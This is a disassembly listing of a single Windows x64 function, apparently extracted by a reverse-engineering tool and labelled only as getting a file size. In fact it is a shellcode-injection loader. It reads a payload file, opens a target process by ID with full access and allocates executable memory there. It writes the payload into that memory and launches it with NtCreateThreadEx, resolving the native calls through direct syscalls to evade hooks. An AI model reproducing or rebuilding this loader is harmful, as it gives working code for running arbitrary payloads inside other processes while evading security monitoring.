Function at 0x140001d00
Capabilities:
Get file size

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x638
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x628], rax
call fcn.140001b40
movzx eax, al
test eax, eax
jne 0x140001d5d
lea rdx, str.could_not_Initialize_the_Syscalls_n
lea rcx, [rsp + 0x3f0]
call fcn.140002250
mov rcx, rax
call fcn.1400049b0
mov rcx, rax
call fcn.140001c50
nop
mov eax, 0xffffffff
jmp 0x140002229
mov qword [rsp + 0x5b8], 0
mov eax, 8
imul rax, rax, 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
mov rcx, qword [rsp + 0x648]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0xffffffffffffffff
jne 0x140001dc2
mov eax, 0xffffffff
jmp 0x140002229
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov eax, eax
mov qword [rsp + 0x610], rax
cmp qword [rsp + 0x610], 0
jne 0x140001dee
mov eax, 0xffffffff
jmp 0x140002229
mov qword [rsp + 0x5c8], 0
mov qword [rsp + 0x78], 0xffffffffffffffff
lea rdx, str.NtAllocateVirtualMemory
lea rcx, [rsp + 0x2f0]
call fcn.140004640
mov rcx, rax
call fcn.1400045c0
mov rcx, rax
call fcn.140001710
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xa0], rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x610]
xor r8d, r8d
lea rdx, [rsp + 0x5b8]
mov rcx, qword [rsp + 0x78]
call qword [rsp + 0xa0]
nop
lea rdx, str.NtReadFile
lea rcx, [rsp + 0xe0]
call fcn.140004420
mov rcx, rax
call fcn.1400043a0
mov rcx, rax
call fcn.140001710
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov eax, dword [rsp + 0x610]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x5b8]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x618]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [rsp + 0xb0]
mov eax, 8
imul rax, rax, 2
mov rcx, qword [rsp + 0x648]
mov rcx, qword [rcx + rax]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
mov dword [rsp + 0x64], eax
mov dword [rsp + 0x5e0], 0x30
mov qword [rsp + 0x5e8], 0
mov dword [rsp + 0x5f8], 0
mov qword [rsp + 0x5f0], 0
mov qword [rsp + 0x600], 0
mov qword [rsp + 0x608], 0
movsxd rax, dword [rsp + 0x64]
mov qword [rsp + 0x5d0], rax
mov qword [rsp + 0x5d8], 0
lea rdx, str.NtOpenProcess
lea rcx, [rsp + 0x160]
call fcn.140004190
mov rcx, rax
call fcn.140004110
mov rcx, rax
call fcn.140001710
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xc0], rax
lea r9, [rsp + 0x5d0]
lea r8, [rsp + 0x5e0]
mov edx, 0x1fffff
lea rcx, [rsp + 0x5b0]
call qword [rsp + 0xc0]
nop
cmp qword [rsp + 0x5b0], 0
jne 0x14000200b
lea rdx, str.Failed_to_open_process_n
lea rcx, [rsp + 0x370]
call fcn.140002790
mov rcx, rax
call fcn.140004090
mov rcx, rax
call fcn.140001c50
nop
mov eax, 0xffffffff
jmp 0x140002229
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0xc8], rax
lea rdx, str.the_handle_value_of_the_target_process_is________d__n
lea rcx, [rsp + 0x4a0]
call fcn.140002b20
mov rcx, rax
call fcn.140004010
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0xc8]
mov rcx, qword [rsp + 0xd0]
call fcn.140001c50
nop
mov qword [rsp + 0x5c0], 0
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0xd8], rax
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x610]
xor r8d, r8d
lea rdx, [rsp + 0x5c0]
mov rcx, qword [rsp + 0x5b0]
call qword [rsp + 0xd8]
mov dword [rsp + 0x60], eax
lea rdx, str.NtWriteVirtualMemory
lea rcx, [rsp + 0x210]
call fcn.140003d10
mov rcx, rax
call fcn.140003c90
mov rcx, rax
call fcn.140001710
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x610]
mov r8, qword [rsp + 0x5b8]
mov rdx, qword [rsp + 0x5c0]
mov rcx, qword [rsp + 0x5b0]
call qword [rsp + 0x88]
mov dword [rsp + 0x60], eax
lea rdx, str.NtCreateThreadEx
lea rcx, [rsp + 0x1b0]
call fcn.140003a20
mov rcx, rax
call fcn.1400039a0
mov rcx, rax
call fcn.140001710
mov qword [rsp + 0x90], rax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x5c0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x5b0]
xor r8d, r8d
mov edx, 0x10000000
lea rcx, [rsp + 0x5c8]
call qword [rsp + 0x98]
mov dword [rsp + 0x60], eax
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x5b0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
call fcn.140001bb0
movzx eax, al
test eax, eax
je 0x140002202
lea rdx, str.All_Good_:__n
lea rcx, [rsp + 0x120]
call fcn.140003330
mov rcx, rax
call fcn.140003920
mov rcx, rax
call fcn.140001c50
nop
jmp 0x140002227
lea rdx, str.Some_thing_Went_Wrong_n
lea rcx, [rsp + 0x280]
call fcn.140003530
mov rcx, rax
call fcn.1400038a0
mov rcx, rax
call fcn.140001c50
nop
xor eax, eax
mov rcx, qword [rsp + 0x628]
xor rcx, rsp
call fcn.140004cc0
add rsp, 0x638
ret